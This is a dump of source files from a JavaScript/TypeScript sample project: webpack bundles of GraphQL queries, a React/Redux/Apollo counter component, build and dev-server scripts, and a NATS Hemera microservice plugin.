{"kind":"Document","definitions":[{"kind":"OperationDefinition","operation":"query","name":{"kind":"Name","value":"getPerson"},"variableDefinitions":[{"kind":"VariableDefinition","variable":{"kind":"Variable","name":{"kind":"Name","value":"id"}},"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},"defaultValue":null}],"directives":[],"selectionSet":{"kind":"SelectionSet","selections":[{"kind":"Field","alias":null,"name":{"kind":"Name","value":"getPerson"},"arguments":[{"kind":"Argument","name":{"kind":"Name","value":"id"},"value":{"kind":"Variable","name":{"kind":"Name","value":"id"}}}],"directives":[],"selectionSet":{"kind":"SelectionSet","selections":[{"kind":"Field","alias":null,"name":{"kind":"Name","value":"id"},"arguments":[],"directives":[],"selectionSet":null},{"kind":"Field","alias":null,"name":{"kind":"Name","value":"name"},"arguments":[],"directives":[],"selectionSet":null},{"kind":"Field","alias":null,"name":{"kind":"Name","value":"sex"},"arguments":[],"directives":[],"selectionSet":null},{"kind":"Field","alias":null,"name":{"kind":"Name","value":"matches"},"arguments":[],"directives":[],"selectionSet":{"kind":"SelectionSet","selections":[{"kind":"Field","alias":null,"name":{"kind":"Name","value":"id"},"arguments":[],"directives":[],"selectionSet":null},{"kind":"Field","alias":null,"name":{"kind":"Name","value":"name"},"arguments":[],"directives":[],"selectionSet":null},{"kind":"Field","alias":null,"name":{"kind":"Name","value":"sex"},"arguments":[],"directives":[],"selectionSet":null},{"kind":"Field","alias":null,"name":{"kind":"Name","value":"matches"},"arguments":[],"directives":[],"selectionSet":{"kind":"SelectionSet","selections":[{"kind":"Field","alias":null,"name":{"kind":"Name","value":"id"},"arguments":[],"directives":[],"selectionSet":null},{"kind":"Field","alias":null,"name":{"kind":"Name","value":"name"},"arguments":[],"directives":[],"selectionSet":null},{"kind":"Field","alias":null,"name":{"kind":"Name","value":"sex"},"arguments":[],"directives":[],"selectionSet":null},{"kind":"Field","alias":null,"name":{"kind":"Name","value":"matches"},"arguments":[],"directives":[],"selectionSet":{"kind":"SelectionSet","selections":[{"kind":"Field","alias":null,"name":{"kind":"Name","value":"id"},"arguments":[],"directives":[],"selectionSet":null},{"kind":"Field","alias":null,"name":{"kind":"Name","value":"name"},"arguments":[],"directives":[],"selectionSet":null},{"kind":"Field","alias":null,"name":{"kind":"Name","value":"sex"},"arguments":[],"directives":[],"selectionSet":null}]}}]}}]}}]}}]}}],"loc":{"start":0,"end":387}}; doc.loc.source = {"body":"query getPerson($id: String!){\n getPerson(id: $id) {\n id\n name\n sex\n matches {\n id\n name\n sex\n matches {\n id\n name\n sex\n matches {\n id\n name\n sex\n }\n }\n }\n }\n}","name":"GraphQL request","locationOffset":{"line":1,"column":1}}; var names = {}; function unique(defs) { return defs.filter( function(def) { if (def.kind !== 'FragmentDefinition') return true; var name = def.name.value if (names[name]) { return false; } else { names[name] = true; return true; } } ) } module.exports = doc; /***/ }), /* 6 */ /***/ (function(module, exports) { var doc = {"kind":"Document","definitions":[{"kind":"OperationDefinition","operation":"query","name":{"kind":"Name","value":"getPersons"},"variableDefinitions":[],"directives":[],"selectionSet":{"kind":"SelectionSet","selections":[{"kind":"Field","alias":null,"name":{"kind":"Name","value":"persons"},"arguments":[],"directives":[],"selectionSet":{"kind":"SelectionSet","selections":[{"kind":"Field","alias":null,"name":{"kind":"Name","value":"id"},"arguments":[],"directives":[],"selectionSet":null},{"kind":"Field","alias":null,"name":{"kind":"Name","value":"name"},"arguments":[],"directives":[],"selectionSet":null}]}}]}}],"loc":{"start":0,"end":64}}; doc.loc.source = {"body":"query getPersons {\n persons {\n id\n name\n }\n}","name":"GraphQL request","locationOffset":{"line":1,"column":1}}; var names = {}; function unique(defs) { return defs.filter( function(def) { if (def.kind !== 'FragmentDefinition') return true; var name = def.name.value if (names[name]) { return false; } else { names[name] = true; return true; } } ) } module.exports = doc; /***/ }), /* 7 */ /***/ (function(module, exports) { var doc = {"kind":"Document","definitions":[{"kind":"OperationDefinition","operation":"query","name":{"kind":"Name","value":"getCount"},"variableDefinitions":[],"directives":[],"selectionSet":{"kind":"SelectionSet","selections":[{"kind":"Field","alias":null,"name":{"kind":"Name","value":"count"},"arguments":[],"directives":[],"selectionSet":{"kind":"SelectionSet","selections":[{"kind":"Field","alias":null,"name":{"kind":"Name","value":"amount"},"arguments":[],"directives":[],"selectionSet":null}]}}]}}],"loc":{"start":0,"end":51}}; doc.loc.source = {"body":"query getCount {\n count {\n amount\n }\n}","name":"GraphQL request","locationOffset":{"line":1,"column":1}}; var names = {}; function unique(defs) { return defs.filter( function(def) { if (def.kind !== 'FragmentDefinition') return true; var name = def.name.value if (names[name]) { return false; } else { names[name] = true; return true; } } ) } module.exports = doc; /***/ }), /* 8 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.COUNT_SUBSCRIPTION = __webpack_require__(9); /***/ }), /* 9 */ /***/ (function(module, exports) { var doc = {"kind":"Document","definitions":[{"kind":"OperationDefinition","operation":"subscription","name":{"kind":"Name","value":"subscribeToCount"},"variableDefinitions":[],"directives":[],"selectionSet":{"kind":"SelectionSet","selections":[{"kind":"Field","alias":null,"name":{"kind":"Name","value":"subscribeToCount"},"arguments":[],"directives":[],"selectionSet":{"kind":"SelectionSet","selections":[{"kind":"Field","alias":null,"name":{"kind":"Name","value":"amount"},"arguments":[],"directives":[],"selectionSet":null}]}}]}}],"loc":{"start":0,"end":75}}; doc.loc.source = {"body":"subscription subscribeToCount{\n subscribeToCount {\n amount\n }\n}\n","name":"GraphQL request","locationOffset":{"line":1,"column":1}}; var names = {}; function unique(defs) { return defs.filter( function(def) { if (def.kind !== 'FragmentDefinition') return true; var name = def.name.value if (names[name]) { return false; } else { names[name] = true; return true; } } ) } module.exports = doc; /***/ }) /******/ ]); //# sourceMappingURL=index.js.map``` Counter.d.ts ```/// <reference types="react" /> import * as React from 'react'; export interface ICounterProps { label: string; counter: { value: number; }; isSaving: boolean; isLoading: boolean; error: string; increment: (n: number) => void; save: (n: number) => void; load: () => void; } export interface ICounterState { } export declare class CounterComponent extends React.Component<ICounterProps, ICounterState> { private _onClickIncrement; private _onClickSave; private _onClickLoad; render(): JSX.Element; } ``` index.js ```module.exports = /******/ (function(modules) { // webpackBootstrap /******/ // The module cache /******/ var installedModules = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ /******/ // Check if module is in cache /******/ if(installedModules[moduleId]) { /******/ return installedModules[moduleId].exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = installedModules[moduleId] = { /******/ i: moduleId, /******/ l: false, /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__); /******/ /******/ // Flag the module as loaded /******/ module.l = true; /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /******/ /******/ // expose the modules object (__webpack_modules__) /******/ __webpack_require__.m = modules; /******/ /******/ // expose the module cache /******/ __webpack_require__.c = installedModules; /******/ /******/ // define getter function for harmony exports /******/ __webpack_require__.d = function(exports, name, getter) { /******/ if(!__webpack_require__.o(exports, name)) { /******/ Object.defineProperty(exports, name, { /******/ configurable: false, /******/ enumerable: true, /******/ get: getter /******/ }); /******/ } /******/ }; /******/ /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = function(module) { /******/ var getter = module && module.__esModule ? /******/ function getDefault() { return module['default']; } : /******/ function getModuleExports() { return module; }; /******/ __webpack_require__.d(getter, 'a', getter); /******/ return getter; /******/ }; /******/ /******/ // Object.prototype.hasOwnProperty.call /******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); }; /******/ /******/ // __webpack_public_path__ /******/ __webpack_require__.p = ""; /******/ /******/ // Load entry module and return exports /******/ return __webpack_require__(__webpack_require__.s = 4); /******/ }) /************************************************************************/ /******/ ([ /* 0 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; function __export(m) { for (var p in m) if (!exports.hasOwnProperty(p)) exports[p] = m[p]; } Object.defineProperty(exports, "__esModule", { value: true }); __export(__webpack_require__(5)); /***/ }), /* 1 */ /***/ (function(module, exports) { module.exports = require("react"); /***/ }), /* 2 */ /***/ (function(module, exports) { module.exports = require("react-apollo"); /***/ }), /* 3 */ /***/ (function(module, exports) { module.exports = require("@sample-stack/graphql-gql"); /***/ }), /* 4 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; function __export(m) { for (var p in m) if (!exports.hasOwnProperty(p)) exports[p] = m[p]; } Object.defineProperty(exports, "__esModule", { value: true }); __export(__webpack_require__(0)); __export(__webpack_require__(6)); /***/ }), /* 5 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); const React = __webpack_require__(1); class CounterComponent extends React.Component { constructor() { super(...arguments); this._onClickIncrement = (e) => { e.preventDefault(); this.props.increment(1); }; this._onClickSave = (e) => { e.preventDefault(); if (!this.props.isSaving) { this.props.save(this.props.counter.value); } }; this._onClickLoad = (e) => { e.preventDefault(); if (!this.props.isLoading) { this.props.load(); } }; } render() { const { counter, label, isSaving, isLoading, error } = this.props; return (React.createElement("form", null, React.createElement("legend", null, label), React.createElement("pre", null, JSON.stringify({ counter, isSaving, isLoading }, null, 2)), React.createElement("button", { onClick: this._onClickIncrement }, "click me!"), React.createElement("button", { disabled: isSaving, onClick: this._onClickSave }, isSaving ? 'saving...' : 'save'), React.createElement("button", { disabled: isLoading, onClick: this._onClickLoad }, isLoading ? 'loading...' : 'load'), error ? React.createElement("div", { className: "error" }, error) : null)); } } exports.CounterComponent = CounterComponent; /***/ }), /* 6 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; function __export(m) { for (var p in m) if (!exports.hasOwnProperty(p)) exports[p] = m[p]; } Object.defineProperty(exports, "__esModule", { value: true }); __export(__webpack_require__(7)); __export(__webpack_require__(11)); __export(__webpack_require__(13)); /***/ }), /* 7 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); const client_redux_1 = __webpack_require__(8); const react_redux_1 = __webpack_require__(9); const react_redux_typescript_1 = __webpack_require__(10); const components_1 = __webpack_require__(0); const mapStateToProps = (state) => ({ counter: state['@sample-stack/counter'], isSaving: state['@sample-stack/isSaving'], isLoading: state['@sample-stack/isLoading'], error: state['@sample-stack/error'], }); const mapDispatchToProps = (dispatch) => ({ increment: (n) => dispatch(client_redux_1.incrementCounter(n)), load: () => dispatch(client_redux_1.loadCount(null)), save: (value) => dispatch(client_redux_1.saveCount({ value })), }); const stateProps = react_redux_typescript_1.returntypeof(mapStateToProps); const dispatchProps = react_redux_typescript_1.returntypeof(mapDispatchToProps); exports.Counter = react_redux_1.connect(mapStateToProps, mapDispatchToProps)(components_1.CounterComponent); /***/ }), /* 8 */ /***/ (function(module, exports) { module.exports = require("@sample-stack/client-redux"); /***/ }), /* 9 */ /***/ (function(module, exports) { module.exports = require("react-redux"); /***/ }), /* 10 */ /***/ (function(module, exports) { module.exports = require("react-redux-typescript"); /***/ }), /* 11 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); const React = __webpack_require__(1); const react_apollo_1 = __webpack_require__(2); const recompose_1 = __webpack_require__(12); const graphql_gql_1 = __webpack_require__(3); const PersonListComponent = ({ persons }) => (React.createElement("div", null, React.createElement("h2", null, "Persons:"), persons && persons.map((person, i) => React.createElement("div", { key: i }, person.name)))); exports.PersonList = recompose_1.compose(react_apollo_1.graphql(graphql_gql_1.PERSONS_QUERY), recompose_1.flattenProp('data'), recompose_1.pure)(PersonListComponent); /***/ }), /* 12 */ /***/ (function(module, exports) { module.exports = require("recompose"); /***/ }), /* 13 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); const immutability_helper_1 = __webpack_require__(14); const react_apollo_1 = __webpack_require__(2); const components_1 = __webpack_require__(0); const graphql_gql_1 = __webpack_require__(3); const client_core_1 = __webpack_require__(15); const updateQueries = { counter: (prev, { mutationResult }) => { const newAmount = mutationResult.data.addCount.amount; return immutability_helper_1.default(prev, { count: { amount: { $set: newAmount, }, }, }); }, }; exports.CounterWithApollo = (react_apollo_1.compose(react_apollo_1.graphql(graphql_gql_1.ADD_COUNT_MUTATION, { props: ({ ownProps, mutate }) => ({ save: (amount) => { return () => mutate({ variables: { amount }, updateQueries, }); }, }), }), react_apollo_1.graphql(graphql_gql_1.ADD_COUNT_MUTATION, { props: ({ ownProps, mutate }) => ({ increment: (amount) => { return () => mutate({ variables: { amount }, updateQueries, }); }, }), }))(react_apollo_1.graphql(graphql_gql_1.COUNT_QUERY, { name: 'countData', props: ({ countData }) => { const newlog = client_core_1.logger.child({ childName: 'UIController' }); newlog.debug('count data : (%j)', countData); return { subscribeToCount: params => { return countData.subscribeToMore({ document: graphql_gql_1.COUNT_SUBSCRIPTION, variables: {}, updateQuery: (prev, { subscriptionData }) => { const payload = subscriptionData.data && subscriptionData.data.subscribeToWorkspace; if (!payload) { return prev; } return payload; }, }); }, counter: countData.count && countData.count.amount, isLoading: countData.loading, isSaving: false, load: () => countData.count.amount, error: countData.error, }; }, })(components_1.CounterComponent))); /***/ }), /* 14 */ /***/ (function(module, exports) { module.exports = require("immutability-helper"); /***/ }), /* 15 */ /***/ (function(module, exports) { module.exports = require("@sample-stack/client-core"); /***/ }) /******/ ]); //# sourceMappingURL=index.js.map``` webpack.app_config.js ```// App-specific front-end config should be here const clientConfig = { entry: { bundle: ['./servers/frontend-server/src/index.tsx'] } } // App-specific back-end config should be here const serverConfig = { entry: { index: ['./servers/backend-server/src/index.ts'] } }; module.exports = { clientConfig: clientConfig, serverConfig: serverConfig };``` Counter.test.d.ts ```import 'jest'; import './setup'; ``` webpack.run.js ```import webpack from 'webpack'; import WebpackDevServer from 'webpack-dev-server'; import webpackHotMiddleware from 'webpack-hot-middleware'; import { spawn } from 'child_process'; import fs from 'fs'; import path from 'path'; import mkdirp from 'mkdirp'; import minilog from 'minilog'; import _ from 'lodash'; import crypto from 'crypto'; import VirtualModules from 'webpack-virtual-modules'; import waitOn from 'wait-on'; import { ConcatSource, RawSource } from 'webpack-sources'; import configs from './webpack.config'; import { options as settings } from '../.spinrc.json'; minilog.enable(); process.on('uncaughtException', (ex) => { console.error(ex); }); process.on('unhandledRejection', reason => { console.error(reason); }); const logBack = minilog('webpack-for-backend'); const logFront = minilog('webpack-for-frontend'); const [serverConfig, clientConfig, dllConfig] = configs; const __WINDOWS__ = /^win/.test(process.platform); let server; let startBackend = false; let backendFirstStart = true; process.on('exit', () => { if (server) { server.kill('SIGTERM'); } }); function createDirs(dir) { mkdirp.sync(dir); } function runServer(path) { if (startBackend) { startBackend = false; backendFirstStart = false; logBack('Starting backend'); server = spawn('node', [path], { stdio: [0, 1, 2] }); server.on('exit', code => { if (code === 250) { // App requested full reload startBackend = true; } logBack('Backend has been stopped'); server = undefined; runServer(path); }); } } function webpackReporter(log, err, stats) { if (err) { log(err.stack); throw new Error("Build error"); } if (stats) { log(stats.toString({ hash: false, version: false, timings: true, assets: false, chunks: false, modules: false, reasons: false, children: false, source: true, errors: true, errorDetails: true, warnings: true, publicPath: false, colors: true })); if (!__DEV__) { const dir = log === logFront ? settings.frontendBuildDir : settings.backendBuildDir; createDirs(dir); fs.writeFileSync(path.join(dir, 'stats.json'), JSON.stringify(stats.toJson())); } } } var frontendVirtualModules = new VirtualModules({ 'node_modules/backend_reload.js': '' }); function startClient() { try { const reporter = (...args) => webpackReporter(logFront, ...args); clientConfig.plugins.push(frontendVirtualModules); if (__DEV__) { _.each(clientConfig.entry, entry => { if (settings.reactHotLoader) { entry.unshift('react-hot-loader/patch'); } entry.unshift( `webpack-dev-server/client?http://localhost:${settings.webpackDevPort}/`, 'webpack/hot/dev-server'); // `webpack-hot-middleware/client`); }); clientConfig.plugins.push(new webpack.HotModuleReplacementPlugin(), new webpack.NoEmitOnErrorsPlugin()); clientConfig.output.path = '/'; startWebpackDevServer(clientConfig, reporter); } else { const compiler = webpack(clientConfig); compiler.run(reporter); } } catch (err) { logFront(err.message, err.stack); } } let backendReloadCount = 0; function increaseBackendReloadCount() { backendReloadCount++; frontendVirtualModules.writeModule('node_modules/backend_reload.js', `var count = ${backendReloadCount};\n`); } function startServer() { try { const reporter = (...args) => webpackReporter(logBack, ...args); if (__DEV__) { _.each(serverConfig.entry, entry => { if (__WINDOWS__) { entry.push('webpack/hot/poll?1000'); } else { entry.push('webpack/hot/signal.js'); } }); serverConfig.plugins.push(new webpack.HotModuleReplacementPlugin(), new webpack.NoEmitOnErrorsPlugin()); } const compiler = webpack(serverConfig); if (__DEV__) { compiler.plugin('compilation', compilation => { compilation.plugin('after-optimize-assets', assets => { // Patch webpack-generated original source files path, by stripping hash after filename const mapKey = _.findKey(assets, (v, k) => k.endsWith('.map')); if (mapKey) { var srcMap = JSON.parse(assets[mapKey]._value); for (var idx in srcMap.sources) { srcMap.sources[idx] = srcMap.sources[idx].split(';')[0]; } assets[mapKey]._value = JSON.stringify(srcMap); } }); }); compiler.watch({}, reporter); compiler.plugin('done', stats => { const { output } = serverConfig; startBackend = true; if (server) { if (!__WINDOWS__) { server.kill('SIGUSR2'); } if (settings.frontendRefreshOnBackendChange) { for (let module of stats.compilation.modules) { if (module.built && module.resource && module.resource.indexOf(path.resolve('./backend-server/src')) === 0) { // Force front-end refresh on back-end change logBack.debug('Force front-end current page refresh, due to change in backend at:', module.resource); increaseBackendReloadCount(); break; } } } } else { runServer(path.join(output.path, 'index.js')); } }); } else { compiler.run(reporter); } } catch (err) { logBack(err.message, err.stack); } } function startWebpackDevServer(clientConfig, reporter) { let compiler = webpack(clientConfig); compiler.plugin('after-emit', (compilation, callback) => { if (backendFirstStart) { logFront.debug("Webpack dev server is waiting for backend to start..."); waitOn({ resources: [`tcp:localhost:${settings.apiPort}`] }, err => { if (err) { logFront.error(err); } else { logFront.debug("Backend has been started, resuming webpack dev server..."); callback(); } }); } else { callback(); } }); if (settings.webpackDll) { compiler.plugin('after-compile', (compilation, callback) => { let vendorHashesJson = JSON.parse(fs.readFileSync(path.join(settings.frontendBuildDir, 'vendor_dll_hashes.json'))); const vendorContents = fs.readFileSync(path.join(settings.frontendBuildDir, vendorHashesJson.name)).toString(); _.each(compilation.chunks, chunk => { _.each(chunk.files, file => { compilation.assets[file] = new ConcatSource(new RawSource(vendorContents), compilation.assets[file]); }); }); callback(); }); } compiler.plugin('done', stats => { const dir = settings.frontendBuildDir; createDirs(dir); if (stats.compilation.assets['assets.json']) { const assetsMap = JSON.parse(stats.compilation.assets['assets.json'].source()); _.each(stats.toJson().assetsByChunkName, (assets, bundle) => { const bundleJs = assets.constructor === Array ? assets[0] : assets; assetsMap[`${bundle}.js`] = bundleJs; if (assets.length > 1) { assetsMap[`${bundle}.js.map`] = `${bundleJs}.map`; } }); fs.writeFileSync(path.join(dir, 'assets.json'), JSON.stringify(assetsMap)); } }); const app = new WebpackDevServer(compiler, { hot: true, contentBase: '/', publicPath: clientConfig.output.publicPath, headers: { 'Access-Control-Allow-Origin': '*' }, proxy: { '!/*.hot-update.{json,js}': { target: `http://localhost:${settings.apiPort}`, logLevel: 'info' } }, reporter: ({ state, stats }) => { if (state) { logFront("bundle is now VALID."); } else { logFront("bundle is now INVALID."); } reporter(null, stats); } }); logFront(`Webpack dev server listening on ${settings.webpackDevPort}`); app.listen(settings.webpackDevPort); } function useWebpackDll() { console.log("Using Webpack DLL vendor bundle"); const jsonPath = path.join('..', settings.frontendBuildDir, 'vendor_dll.json'); clientConfig.plugins.push(new webpack.DllReferencePlugin({ context: process.cwd(), manifest: require(jsonPath) // eslint-disable-line import/no-dynamic-require })); serverConfig.plugins.push(new webpack.DllReferencePlugin({ context: process.cwd(), manifest: require(jsonPath) // eslint-disable-line import/no-dynamic-require })); } function isDllValid() { try { const hashesPath = path.join(settings.frontendBuildDir, 'vendor_dll_hashes.json'); if (!fs.existsSync(hashesPath)) { console.warn("Vendor DLL does not exists"); return false; } let meta = JSON.parse(fs.readFileSync(hashesPath)); if (!fs.existsSync(path.join(settings.frontendBuildDir, meta.name))) { console.warn("Vendor DLL does not exists"); return false; } if (!_.isEqual(meta.modules, dllConfig.entry.vendor)) { console.warn('Modules bundled into vendor DLL changed, need to rebuild it'); return false; } let json = JSON.parse(fs.readFileSync(path.join(settings.frontendBuildDir, 'vendor_dll.json'))); for (let filename of Object.keys(json.content)) { if (filename.indexOf(' ') < 0) { if (!fs.existsSync(filename)) { console.warn("Vendor bundle need to be regenerated, file: " + filename + " is missing."); return false; } const hash = crypto.createHash('md5').update(fs.readFileSync(filename)).digest('hex'); if (meta.hashes[filename] !== hash) { console.warn(`Hash for vendor DLL file ${filename} changed, need to rebuild vendor bundle`); return false; } } } return true; } catch (e) { console.warn('Error checking vendor bundle, regenerating it...', e); return false; } } function buildDll() { return new Promise((done) => { if (!isDllValid()) { console.log("Generating vendor DLL bundle..."); const compiler = webpack(dllConfig); compiler.run((err, stats) => { let json = JSON.parse(fs.readFileSync(path.join(settings.frontendBuildDir, 'vendor_dll.json'))); const meta = { name: _.keys(stats.compilation.assets)[0], hashes: {}, modules: dllConfig.entry.vendor }; for (let filename of Object.keys(json.content)) { if (filename.indexOf(' ') < 0) { meta.hashes[filename] = crypto.createHash('md5').update(fs.readFileSync(filename)).digest('hex'); fs.writeFileSync(path.join(settings.frontendBuildDir, 'vendor_dll_hashes.json'), JSON.stringify(meta)); } } done(); }); } else { done(); } }); } function startWebpack() { startServer(); startClient(); } if (!__DEV__ || !settings.webpackDll) { startWebpack(); } else { buildDll().then(function() { useWebpackDll(); startWebpack(); }); }``` apollo-client.ts ```/// <reference path='../../../../typings/index.d.ts' /> import { SubscriptionClient, addGraphQLSubscriptions } from 'subscriptions-transport-ws'; import { ApolloClient, createNetworkInterface, ApolloProvider, createBatchingNetworkInterface, NetworkInterface, } from 'react-apollo'; import * as url from 'url'; import { PUBLIC_SETTINGS } from '../config/public-config'; import { addPersistedQueries } from 'persistgraphql'; import { addApolloLogging } from 'apollo-logger'; const { protocol, port: GRAPHQL_PORT, pathname, hostname } = url.parse(PUBLIC_SETTINGS.GRAPHQL_URL); let networkInterface: NetworkInterface; if (__CLIENT__) { networkInterface = new SubscriptionClient( (PUBLIC_SETTINGS.GRAPHQL_URL) .replace(/^http/, 'ws') , { reconnect: true, }) as NetworkInterface; } else { networkInterface = createBatchingNetworkInterface({ opts: { credentials: 'same-origin', }, batchInterval: 20, uri: PUBLIC_SETTINGS.LOCAL_GRAPHQL_URL || '/graphql', }); } if (__PERSIST_GQL__) { import('@sample-stack/graphql-gql/extracted_queries.json').then(queryMap => { console.log(queryMap) networkInterface = addPersistedQueries(networkInterface, queryMap); }).catch(() => { console.warn('extracted_queries not found'); }) } // Hybrid WebSocket Transport // https://github.com/apollographql/subscriptions-transport-ws#hybrid-websocket-transport // let networkInterfaceWithSubscriptions = addGraphQLSubscriptions( // networkInterface, // wsClient, // ); // if (settings.apolloLogging) { // networkInterface = addApolloLogging(networkInterface); // } const createApolloClient = () => { const params: any = { dataIdFromObject: (result) => { if (result.id && result.__typename) { return result.__typename + result.id; } return null; }, networkInterface, }; if (__SSR__) { if (__CLIENT__) { if (window.__APOLLO_STATE__) { params.initialState = window.__APOLLO_STATE__; } params.ssrForceFetchDelay = 100; } else { params.ssrMode = true; } } return new ApolloClient(params); }; export { createApolloClient }; ``` index.js ```module.exports = /******/ (function(modules) { // webpackBootstrap /******/ // The module cache /******/ var installedModules = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ /******/ // Check if module is in cache /******/ if(installedModules[moduleId]) { /******/ return installedModules[moduleId].exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = installedModules[moduleId] = { /******/ i: moduleId, /******/ l: false, /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__); /******/ /******/ // Flag the module as loaded /******/ module.l = true; /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /******/ /******/ // expose the modules object (__webpack_modules__) /******/ __webpack_require__.m = modules; /******/ /******/ // expose the module cache /******/ __webpack_require__.c = installedModules; /******/ /******/ // define getter function for harmony exports /******/ __webpack_require__.d = function(exports, name, getter) { /******/ if(!__webpack_require__.o(exports, name)) { /******/ Object.defineProperty(exports, name, { /******/ configurable: false, /******/ enumerable: true, /******/ get: getter /******/ }); /******/ } /******/ }; /******/ /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = function(module) { /******/ var getter = module && module.__esModule ? /******/ function getDefault() { return module['default']; } : /******/ function getModuleExports() { return module; }; /******/ __webpack_require__.d(getter, 'a', getter); /******/ return getter; /******/ }; /******/ /******/ // Object.prototype.hasOwnProperty.call /******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); }; /******/ /******/ // __webpack_public_path__ /******/ __webpack_require__.p = ""; /******/ /******/ // Load entry module and return exports /******/ return __webpack_require__(__webpack_require__.s = 0); /******/ }) /************************************************************************/ /******/ ([ /* 0 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); const Hp = __webpack_require__(1); const HemeraJoi = __webpack_require__(2); exports.options = { name: __webpack_require__(3).name, }; exports.plugin = Hp(hemeraCounter, '>=2.0.0-0'); function hemeraCounter(hemera, opts, done) { const topic = 'counter'; hemera.add({ topic, cmd: 'add', }, (req, cb) => { cb(null, req.a + req.b); }); done(); } /***/ }), /* 1 */ /***/ (function(module, exports) { module.exports = require("hemera-plugin"); /***/ }), /* 2 */ /***/ (function(module, exports) { module.exports = require("hemera-joi"); /***/ }), /* 3 */ /***/ (function(module, exports) { module.exports = {"name":"@sample-stack/hemera-counter","version":"0.0.0","description":"This is Container Configuration Service hemera plugin","main":"lib/index.js","scripts":{"jest":"./node_modules/.bin/jest","test":"ENV=test ENV_FILE=../../config/development/dev.env jest","test:debug":"npm test -- --runInBand","test:watch":"npm test -- --watch","prepublish":"npm run build","watch":"npm run build:lib:watch","build":"npm run build:clean && npm run build:lib","build:clean":"rimraf lib","build:lib":"webpack","build:lib:watch":"npm run build:lib -- --watch"},"publishConfig":{"access":"public"},"jest":{"testEnvironment":"node","roots":["src"],"modulePaths":["node_modules"],"moduleFileExtensions":["ts","tsx","js","json"],"transform":{"\\.(ts|tsx)$":"<rootDir>/../../node_modules/ts-jest/preprocessor.js"},"testRegex":"/__tests__/.*test*\\.(ts|tsx|js)$"},"engines":{"node":">=4.0.0"},"author":"","license":"MIT","dependencies":{"@sample-stack/utils":"*"},"peerDependencies":{"nats-hemera":"1.x","hemera-plugin":"0.x","hemera-joi":"1.x"},"devDependencies":{"cross-env":"^5.0.5","jest":"^21.1.0","rimraf":"^2.6.1","webpack":"^3.7.1"}} /***/ }) /******/ ]); //# sourceMappingURL=index.js.map``` setup.d.ts ```declare let jsdom: any; declare let exposedProperties: string[]; ``` index.ts ```export * from './constants'; export * from './repository'; export * from './models'; export * from './db-helpers'; export * from './repository-di-setup'; ``` index.d.ts ```export declare const COUNT_SUBSCRIPTION: any; ``` constants.ts ```export const TYPES = { ICounterRepository: Symbol('ICounterService'), }; ``` redux-config.ts ```/// <reference path='../../../typings/index.d.ts' /> import { createStore, Store, applyMiddleware, Middleware, GenericStoreEnhancer, compose, combineReducers } from 'redux'; import thunk from 'redux-thunk'; import { ApolloClient, ApolloStore } from 'react-apollo'; import { reducers, Store as StoreState, } from '@sample-stack/client-redux'; /** * Add middleware that required for this app. */ const middlewares: Middleware[] = [ thunk, ]; const enhancers: (apolloMiddleware) => GenericStoreEnhancer[] = (apolloMiddleware) => [ applyMiddleware(...middlewares, apolloMiddleware), ]; const composeEnhancers: any = (process.env.NODE_ENV === 'development' && typeof window === 'object' && window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__) || compose; /** * Add any reducers required for this app dirctly in to * `combineReducers` */ const createReduxStore = (initialState, client: ApolloClient) => { const store: Store<StoreState.Counter | StoreState.Sample | ApolloStore> = createStore<StoreState.Counter | StoreState.Sample | ApolloStore>( combineReducers({ ...reducers, apollo: client.reducer(), }), {} as StoreState.Sample, composeEnhancers(...enhancers(client.middleware())), ); return store; }; export { createReduxStore }; ``` utils.d.ts ```export declare const nextTick: () => Promise<{}>; ``` index.ts ```import 'reflect-metadata'; require('dotenv').config({ path: process.env.ENV_FILE }); const Hemera = require('nats-hemera'); const HemeraJoi = require('hemera-joi'); const ContainerHemera = require('@container-stack/microservice-hemera-plugin'); // import { IManagerConfig, ConfigKind } from '@container-stack/core'; // const HemeraZipkin = require('hemera-zipkin'); const nats = require('nats').connect({ 'url': process.env.NATS_URL, 'user': process.env.NATS_USER, 'pass': process.env.NATS_PW, }); const hemera = new Hemera(nats, { logLevel: 'trace', childLogger: true, tag: 'hemera-server', timeout: 10000, }); hemera.use(HemeraJoi); hemera.use(ContainerHemera, { email: process.env.CLOUDFLARE_EMAIL, key: process.env.CLOUDFLARE_KEY, zone: process.env.CLOUDFLARE_ZONE_ID, }); // hemera.setOption('payloadValidator', 'hemera-joi'); hemera.ready(() => { // let Joi = hemera.exposition['hemera-joi'].joi; // hemera.act({ // topic: 'container-manager', // cmd: 'createWorkspace', // managerConfig: { workspaceId: 'test', kind: ConfigKind.CONFIG }, // }, async function (err, result) { // const payload = await result; // this.log.trace('payload received is (%j)', payload); // }); // hemera.act({ // topic: 'container-manager', // cmd: 'createWorkspace', // managerConfig: { workspaceId: 'test', kind: ConfigKind.CONFIG }, // }, async function (err, result) { // const payload = await result; // this.log.trace('payload received is (%j)', payload); // }); }); ``` 